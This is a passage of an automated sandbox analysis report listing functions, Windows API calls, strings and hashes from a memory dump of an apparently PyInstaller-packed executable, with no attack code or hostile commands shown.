GetCurrentProcessId.KERNEL32(?,00000000,00007FF72C653CBB), ref: 00007FF72C65870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF72C653CBB), ref: 00007FF72C65874C

Part of subcall function 00007FF72C658830: GetEnvironmentVariableW.KERNEL32(00007FF72C65388E), ref: 00007FF72C658867
Part of subcall function 00007FF72C658830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF72C658889

Part of subcall function 00007FF72C668238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C668251

Part of subcall function 00007FF72C652810: MessageBoxW.USER32 ref: 00007FF72C6528EA

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF72C65877E
TMP, xrefs: 00007FF72C65869C, 00007FF72C6587A3
_MEI%d, xrefs: 00007FF72C658712
TMP, xrefs: 00007FF72C6586C2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF72C6586DC

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: ccd400955c279738c84ebd1a9837a2eb1e4600d8e859cc44b92fd759b3684798
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: 35419011A1964244EA13FB619C552B9A253FFA97E0FE00535EE0D47ADADE3CE805CF60

Function 00007FF72C651210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF72C6512C1, 00007FF72C6512F6
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF72C651276
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF72C6512EF
1.3.1, xrefs: 00007FF72C651249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF72C6512BA
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF72C65141E

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction ID: d50ba084d5fe2f5b8fd5136801dc8979788115cb1ce4a556445b3f253009d73f
Opcode Fuzzy Hash: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction Fuzzy Hash: 1651D522A0864245E622FB11AC503BAE292FFA47E4FE44535EF4E477D5EE3CE545CB10

Function 00007FF72C66ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF72C66F0AA,?,?,-00000018,00007FF72C66AD53,?,?,?,00007FF72C66AC4A,?,?,?,00007FF72C665F3E), ref: 00007FF72C66EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF72C66F0AA,?,?,-00000018,00007FF72C66AD53,?,?,?,00007FF72C66AC4A,?,?,?,00007FF72C665F3E), ref: 00007FF72C66EE98

Strings

api-ms-, xrefs: 00007FF72C66EDD6
ext-ms-, xrefs: 00007FF72C66EDE9

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 4bc6771c35aad53dbe7e34b14185a0abb63c90f1c0af2297e5558ee2b09d60af
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 8841E62171964282EA17AB569C04575B2A2FF65BB0FE84539DD1D47784EE3CE40A8A20

Function 00007FF72C6536B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF72C653804), ref: 00007FF72C6536E1
GetLastError.KERNEL32(?,00007FF72C653804), ref: 00007FF72C6536EB

Part of subcall function 00007FF72C652C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652C9E
Part of subcall function 00007FF72C652C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652D63
Part of subcall function 00007FF72C652C50: MessageBoxW.USER32 ref: 00007FF72C652D99

Strings

\\?\, xrefs: 00007FF72C65375A
Failed to obtain executable path., xrefs: 00007FF72C6536F3
Failed to resolve full path to executable %ls., xrefs: 00007FF72C653739
GetModuleFileNameW, xrefs: 00007FF72C6536FA
Failed to convert executable path to UTF-8., xrefs: 00007FF72C653790

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: a21fb4b08906b3152e570bc7fccf02248fe77c7fd2e6215aee0efc2c8f7c518f
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 3C219461F18A4291FA22B720EC153B6A253FFA87B4FE40132D75D865D5EE2CE509CB24

Function 00007FF72C66BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66BE89

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction ID: 1fb64c4265ef5c98442378a9dd6faad2a8efac5e9508605bdbec03dfb8d90cd3
Opcode Fuzzy Hash: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction Fuzzy Hash: EDC1162290C687D1E762AB1198402BDBBB2FBE1BA0FE54138DA4D07791CF7CE4459F60

Function 00007FF72C658570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF72C658590
OpenProcessToken.ADVAPI32 ref: 00007FF72C6585A3
GetTokenInformation.KERNELBASE ref: 00007FF72C6585C8
GetLastError.KERNEL32 ref: 00007FF72C6585D2
GetTokenInformation.KERNELBASE ref: 00007FF72C658612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF72C65862E
CloseHandle.KERNEL32 ref: 00007FF72C658646

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: 4e9efa4256274eaa79a19353c0f60a9e941a94e07aa51b5e515e7b0f6c095f0c
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: F7212521A0C64241EB51AB55B94423AE3A2FFD57F4FA00235E66D43AD4DE7CD4458F10

Function 00007FF72C6590E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72C658570: GetCurrentProcess.KERNEL32 ref: 00007FF72C658590
Part of subcall function 00007FF72C658570: OpenProcessToken.ADVAPI32 ref: 00007FF72C6585A3
Part of subcall function 00007FF72C658570: GetTokenInformation.KERNELBASE ref: 00007FF72C6585C8
Part of subcall function 00007FF72C658570: GetLastError.KERNEL32 ref: 00007FF72C6585D2
Part of subcall function 00007FF72C658570: GetTokenInformation.KERNELBASE ref: 00007FF72C658612
Part of subcall function 00007FF72C658570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF72C65862E
Part of subcall function 00007FF72C658570: CloseHandle.KERNEL32 ref: 00007FF72C658646

LocalFree.KERNEL32(?,00007FF72C653C55), ref: 00007FF72C65916C
LocalFree.KERNEL32(?,00007FF72C653C55), ref: 00007FF72C659175

Strings

S-1-3-4, xrefs: 00007FF72C659121
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF72C659183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF72C659142
D:(A;;FA;;;%s), xrefs: 00007FF72C659157

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 430de809b3fb511dda6bfa2792f7ff47d410db63dc1c24250cec4923645aa75c
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: D4214F21A0874291E612BB10EC153EAA362FFA8790FE44435EA4D53BD6DF3CD805CB60

Function 00007FF72C66CF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72C66CF4B), ref: 00007FF72C66D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72C66CF4B), ref: 00007FF72C66D107

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: dad23c8e41addc558e5eaa13b3d2361447927d0d7230b50109a2f48c02d4c527
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 0791D632E1865195F752AF669C4027DBBB2FB647A8FA4413DDE0E53684CE3CD442CB20

Function 00007FF72C665628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C665655
CreateFileW.KERNELBASE ref: 00007FF72C665694
CloseHandle.KERNEL32 ref: 00007FF72C6656C9

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: c6b58e72bd74b63d40caca36ecf0d3e284f8668a89b904be69434ffa4d3f7fcd
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: C341A462D1878283E711AB209911379B671FBA4774F609339E79C43AD5DF7CA0E08B50

Function 00007FF72C65CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C65CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF72C65CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF72C65CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF72C65CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF72C65CD21

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 6e30d9ec16d69f3e57071b0ca5c78008316a9556d923d944832d7baf699061e8
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 66313B20E0894351FA16BB659D223B9A693FFB53E4FE45538DB0D472D7DE2CA404CA30

Function 00007FF72C669A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF72C669A2C), ref: 00007FF72C669A41
TerminateProcess.KERNEL32(?,?,?,00007FF72C669A2C), ref: 00007FF72C669A4C
ExitProcess.KERNEL32 ref: 00007FF72C669A5B

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 8cb72e42a88260e657941455c56dc945eeb9e11eab43b4414d31d160ea84eed6
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: B3D06720B0874652EA1A3B715C5A178A2A7FFA8731BA4183CCC0A06393DD2CA84D8A20

Function 00007FF72C66013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C660180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C660277

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: e729ccd8e8d10f86d6f780a2c21e2924e2a28b74ba22fc5a9621f802ae7e9ed1
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: DF51EB21B0924286E726B9659C0067AF5A2FF54BB4FA84638DE6D037C5CE3CE4018E64

Function 00007FF72C66C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF72C66C2CD), ref: 00007FF72C66C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF72C66C2CD), ref: 00007FF72C66C18A

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 2543a96461a1dba0fe938641a66756ce545f6c037bca7570d7cb3361ced89ee7
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 03119072608E8281DA21AB26AC14169F763FB95BF4FA44335EA7D0B7D9CE3CD0518B10

Function 00007FF72C66A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 8e55812d8af6b0e18ed7b78169a6367a69c14bc98dbbdadb1cdcecf412e5f4b7
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: 16E04F10E5920242FE07BBB16C55178A262FFE4B20FE44538C90E422A2EE2C68858A30

Function 00007FF72C66AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF72C66A9D5,?,?,00000000,00007FF72C66AA8A), ref: 00007FF72C66ABC6
GetLastError.KERNEL32(?,?,?,00007FF72C66A9D5,?,?,00000000,00007FF72C66AA8A), ref: 00007FF72C66ABD0

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: ff124b5c4a0a30bc84c456b381c3c23e6591b99b348b6acf705da7a27a7e4cef
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 8021C511B0864201EA5277719C9027DF6A3FFA47B0FA8423DD92E477C2CF6CE4814B20

Function 00007FF72C66BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66BED4

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
